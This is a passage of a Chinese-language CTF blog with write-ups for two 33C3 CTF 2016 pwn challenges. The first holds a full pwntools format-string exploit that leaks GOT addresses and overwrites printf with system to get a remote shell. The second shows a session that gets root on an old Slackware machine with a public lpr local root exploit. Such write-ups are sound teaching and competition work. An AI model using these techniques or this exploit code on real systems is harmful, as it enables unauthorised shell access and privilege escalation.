有了 .dynamic section 的位址,我們就可以透過 leak .dynamic section 的資訊來獲取 .got.plt 的位址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Dynamic section at offset 0xe28 contains 24 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000c (INIT) 0x400400
0x000000000000000d (FINI) 0x400614
0x0000000000000019 (INIT_ARRAY) 0x600e10
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x600e18
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x400298
0x0000000000000005 (STRTAB) 0x400330
0x0000000000000006 (SYMTAB) 0x4002b8
0x000000000000000a (STRSZ) 68 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x601000 <--- here

resolve PLTGOT
1
2
3
4
5
6
7
8
9
10
11
12
cnt = 0
while True:
addr = dynamic_ptr + 0x10*cnt
ret = leak(addr)
if ret == "\x03\x00": #TYPE PLTGOT
addr += 8
for i in xrange(8):
ret = leak(addr+i)
print "ret:", ret.encode('hex')
break
else:
cnt += 1

最後,透過 leak 出所有的 GOT entry,我們可以藉由比對 function address 的低 12 bit 來判斷 printf@got.plt 的位址:

resolve printf@got.plt
1
2
3
4
5
got = 0x601000
for i in xrange(8):
addr = got + i*8
ret = leak(addr)
print "ret:", ret.encode('hex')

這下該有的位址都有了,可以開始 exploit 了:

exp_espr.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "78.46.224.86"
PORT = 1337
# setting
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
def leak(addr):
payload = "%7$s.AAA"+p64(addr)
r.sendline(payload)
print "leaking:", hex(addr)
resp = r.recvuntil(".AAA")
ret = resp[:-4:] + "\x00"
print "ret:", repr(ret)
r.recvrepeat(0.2)
return ret
if __name__ == "__main__":
r = remote(HOST, PORT)
printf_got = 0x601018
printf_addr = u64(leak(printf_got).ljust(8, "\x00"))
system_addr = printf_addr - 0x10e80 # remote
log.success("printf_addr: "+hex(printf_addr))
log.success("system_addr: "+hex(system_addr))
byte1 = system_addr & 0xff
byte2 = (system_addr & 0xffff00) >> 8
log.success("byte1: "+hex(byte1))
log.success("byte2: "+hex(byte2))
payload = "%" + str(byte1) + "c" + "%10$hhn."
payload += "%" + str(byte2-byte1-1) + "c" + "%11$hn."
payload = payload.ljust(32, "A")
payload += p64(printf_got) + p64(printf_got+1)
r.sendline(payload)
r.sendline("sh\x00")
r.interactive()


flag: 33C3_f1rst_tshirt_challenge?!

閱讀本文

2016-12-31
[33C3 CTF 2016] The 0x90s called 150

Info

Category: pwn
Point: 150
Author: bruce30262 @ BambooFox

Analyzing

首先我們會需要到一個網頁來”啟動”我們的 challenge session。啟動後網頁會告訴我們 port 要連多少 ( IP 則是跟 web service 同一個 IP ),並告訴我們帳號密碼。一個 session 的連線時間為 5 分鐘。

nc 連過去並登入遠端機器之後,我們會發現這是一個 Slackware Linux:

1
2
3
4
5
6
7
8
9
10
11
$ nc 78.46.224.70 2323
Welcome to Linux 0.99pl12.
slack login: challenge
Password:challenge
Linux 0.99pl12. (Posix).
No mail.
slack:~$ uname -a
Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586

隨意逛了一下,會發現在根目錄有個 flag.txt:

1
2
slack:/$ ls -al /flag.txt
-r-------- 1 root root 36 Dec 27 1916 /flag.txt

看來我們需要一個 local root 的 exploit 來解這題

Exploit

強大的 google 使得我們很快就找到了 slackware linux 0.99 local root exploit 的 PoC。接下來只要想辦法把 PoC 傳到遠端機器上,然後編譯執行 exploit 即可。

問題是這題要傳 PoC 很麻煩,因為遠端機器根本沒有 tool 可以幫助我們下載檔案 — 沒有 wget,沒有 curl,甚至連 nc 都沒有 ! 然後上面的 vi 編輯器難用到掉渣 ! 最後決定使用 cat <<'EOF' >> test.c + 複製貼上的方式將 exploit 寫入 test.c 裡頭

之後只要編譯執行 local root 的 exploit,即可拿到 root 權限並得到 flag:

1
2
3
4
5
6
7
8
9
slack:~$ gcc -o test test.c
slack:~$ ./test
[ Slackware linux 1.01 /usr/bin/lpr local root exploit
# id
id
uid=405(challenge) gid=1(other) euid=0(root) egid=18(lp)
# cat /flag.txt
cat /flag.txt
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3

flag: 33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3

閱讀本文